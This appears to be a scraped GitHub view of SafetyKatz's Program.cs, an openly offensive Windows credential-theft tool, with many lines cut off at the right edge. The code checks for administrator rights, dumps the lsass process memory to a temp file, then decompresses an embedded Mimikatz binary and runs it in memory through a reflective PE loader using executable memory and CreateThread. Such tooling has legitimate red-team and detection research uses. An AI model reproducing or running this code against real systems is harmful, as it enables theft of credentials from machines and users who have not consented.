SafetyKatz / SafetyKatz / Program.cs

HarmJ0y Corrected namedspace, moved compressed Mimikatz .... 715b311 · 6 years ago History

```
using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.IO;
using System.Security.Principal;
using System.IO.Compression;

namespace SafetyKatz
{
    class Program
    {
        // adapted from https://blogs.msdn.microsoft.com/dondu/2010/10/24/writing-minid

        // overload supporting MiniDumpExceptionInformation == NULL
        [DllImport("dbghelp.dll", EntryPoint = "MiniDumpWriteDump", CallingConvention =
        static extern bool MiniDumpWriteDump(IntPtr hProcess, uint processId, SafeHandl

        public static bool IsHighIntegrity()
        {
            // returns true if the current process is running with adminstrative privs
            WindowsIdentity identity = WindowsIdentity.GetCurrent();
            WindowsPrincipal principal = new WindowsPrincipal(identity);
            return principal.IsInRole(WindowsBuiltInRole.Administrator);
        }

        public static void Minidump(int pid = -1)
        {
            IntPtr targetProcessHandle = IntPtr.Zero;
            uint targetProcessId = 0;

            Process targetProcess = null;
            if (pid == -1)
            {
                Process[] processes = Process.GetProcessesByName("lsass");
                targetProcess = processes[0];
            }
            else
            {
                try
                {
                    targetProcess = Process.GetProcessById(pid);
                }
                catch (Exception ex)
                {
```

SafetyKatz / SafetyKatz / Program.cs Top

Code Blame Executable File · 657 lines (546 loc) · 26.3 KB Raw

```
            try
            {
                targetProcessId = (uint)targetProcess.Id;
                targetProcessHandle = targetProcess.Handle;
            }
            catch (Exception ex)
            {
```

- Program.cs
- SafetyKatz.csproj
- .gitignore
- LICENSE
- README.md
- SafetyKatz.sln

```
57                  Console.WriteLine(String.Format("\n[X] Error getting handle to {0} ({1}
58                  return;
59              }
60              bool bRet = false;
61
62              string systemRoot = Environment.GetEnvironmentVariable("SystemRoot");
63              string dumpFile = String.Format("{0}\\Temp\\debug.bin", systemRoot);
64
65              Console.WriteLine(String.Format("\n[*] Dumping {0} ({1}) to {2}", targetPro
66
67              using (FileStream fs = new FileStream(dumpFile, FileMode.Create, FileAccess
68              {
69                  bRet = MiniDumpWriteDump(targetProcessHandle, targetProcessId, fs.SafeF
70              }
71
72              // if successful
73              if (bRet)
74              {
75                  Console.WriteLine("[+] Dump successful!");
76              }
77              else
78              {
79                  Console.WriteLine(String.Format("[X] Dump failed: {0}", bRet));
80              }
81          }
82
83          static void Main(string[] args)
84          {
85              if (!IsHighIntegrity())
86              {
87                  Console.WriteLine("\n[X] Not in high integrity, unable to grab a handle
88              }
89              else
90              {
91                  // initial sanity checks
92                  string systemRoot = Environment.GetEnvironmentVariable("SystemRoot");
93                  string dumpDir = String.Format("{0}\\Temp\\", systemRoot);
94                  if (!Directory.Exists(dumpDir))
95                  {
96                      Console.WriteLine(String.Format("\n[X] Dump directory \"{0}\" doesn
97                      return;
98                  }
99
100                 if (!(IntPtr.Size == 8))
101                 {
102                     Console.WriteLine("\n[X] Process is not 64-bit, this version of Mim
103                     return;
104                 }
105
106
107                 // first minidump the process
108                 Minidump();
109
110                 // now decompress the customized Mimikatz binary from Constants.cs
111                 Byte[] unpacked = new byte[628736];
112                 using (MemoryStream inputStream = new MemoryStream(Convert.FromBase64St
113                 {
114                     using (DeflateStream stream = new DeflateStream(inputStream, Compre
115                     {
116                         stream.Read(unpacked, 0, 628736);
117                     }
118                 }
119
120                 // start of @subtee's PE loader
121
122                 PELoader pe = new PELoader(unpacked);
123                 IntPtr codebase = IntPtr.Zero;
124                 codebase = NativeDeclarations.VirtualAlloc(IntPtr.Zero, pe.OptionalHead
125
126                 // copy Sections
127                 for (int i = 0; i < pe.FileHeader.NumberOfSections; i++)
128                 {
129                     IntPtr y = NativeDeclarations.VirtualAlloc((IntPtr)((long)(codebase
130                     Marshal.Copy(pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToR
131                 }
```

```

            // perform Base Relocation
            long currentbase = (long)codebase.ToInt64();
            long delta;

            delta = (long)(currentbase - (long)pe.OptionalHeader64.ImageBase);

            // Modify Memory Based On Relocation Table
            IntPtr relocationTable = (IntPtr)((long)(codebase.ToInt64() + (int)pe.O
            NativeDeclarations.IMAGE_BASE_RELOCATION relocationEntry = new NativeDe
            relocationEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Marshal.Ptr

            int imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(NativeDeclaration
            IntPtr nextEntry = relocationTable;
            int sizeofNextBlock = (int)relocationEntry.SizeOfBlock;
            IntPtr offset = relocationTable;

            while (true)
            {
                NativeDeclarations.IMAGE_BASE_RELOCATION relocationNextEntry = new
                IntPtr x = (IntPtr)((long)(relocationTable.ToInt64() + (int)sizeofN

                relocationNextEntry = (NativeDeclarations.IMAGE_BASE_RELOCATION)Mar

                IntPtr dest = (IntPtr)((long)(codebase.ToInt64() + (int)relocationE

                for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeO
                {
                    IntPtr patchAddr;
                    UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i));

                    UInt16 type = (UInt16)(value >> 12);
                    UInt16 fixup = (UInt16)(value & 0xfff);

                    switch (type)
                    {
                        case 0x0:
                            break;
                        case 0xA:
                            patchAddr = (IntPtr)((long)(dest.ToInt64() + (int)fixup
                            // Add Delta To Location
                            long originalAddr = Marshal.ReadInt64(patchAddr);
                            Marshal.WriteInt64(patchAddr, originalAddr + delta);
                            break;
                    }
                }

                offset = (IntPtr)((long)(relocationTable.ToInt64() + (int)sizeofNex
                sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock;
```

```
584
585             public IMAGE_SECTION_HEADER[] ImageSectionHeaders
586             {
587                 get
588                 {
589                     return imageSectionHeaders;
590                 }
591             }
592
593             public byte[] RawBytes
594             {
595                 get
596                 {
597                     return rawbytes;
598                 }
599
600             }
601
602         }//End Class
603
604
605         unsafe class NativeDeclarations
606         {
607
608             public static uint MEM_COMMIT = 0x1000;
609             public static uint MEM_RESERVE = 0x2000;
610             public static uint PAGE_EXECUTE_READWRITE = 0x40;
611             public static uint PAGE_READWRITE = 0x04;
612
613             [StructLayout(LayoutKind.Sequential)]
614             public unsafe struct IMAGE_BASE_RELOCATION
615             {
616                 public uint VirtualAdress;
617                 public uint SizeOfBlock;
618             }
619
620             [DllImport("kernel32")]
621             public static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, uint size, uint fl
622
623             [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
624             public static extern IntPtr LoadLibrary(string lpFileName);
625
626             [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLas
627             public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
628
629             [DllImport("kernel32")]
630             public static extern IntPtr CreateThread(
631
632               IntPtr lpThreadAttributes,
633               uint dwStackSize,
634               IntPtr lpStartAddress,
635               IntPtr param,
636               uint dwCreationFlags,
637               IntPtr lpThreadId
638               );
639
640             [DllImport("kernel32")]
641             public static extern UInt32 WaitForSingleObject(
642
643               IntPtr hHandle,
644               UInt32 dwMilliseconds
645               );
646
647             [StructLayout(LayoutKind.Sequential)]
648             public unsafe struct IMAGE_IMPORT_DESCRIPTOR
649             {
650                 public uint OriginalFirstThunk;
651                 public uint TimeDateStamp;
652                 public uint ForwarderChain;
653                 public uint Name;
```

```
                public uint FirstThunk;
            }
        }
    }
```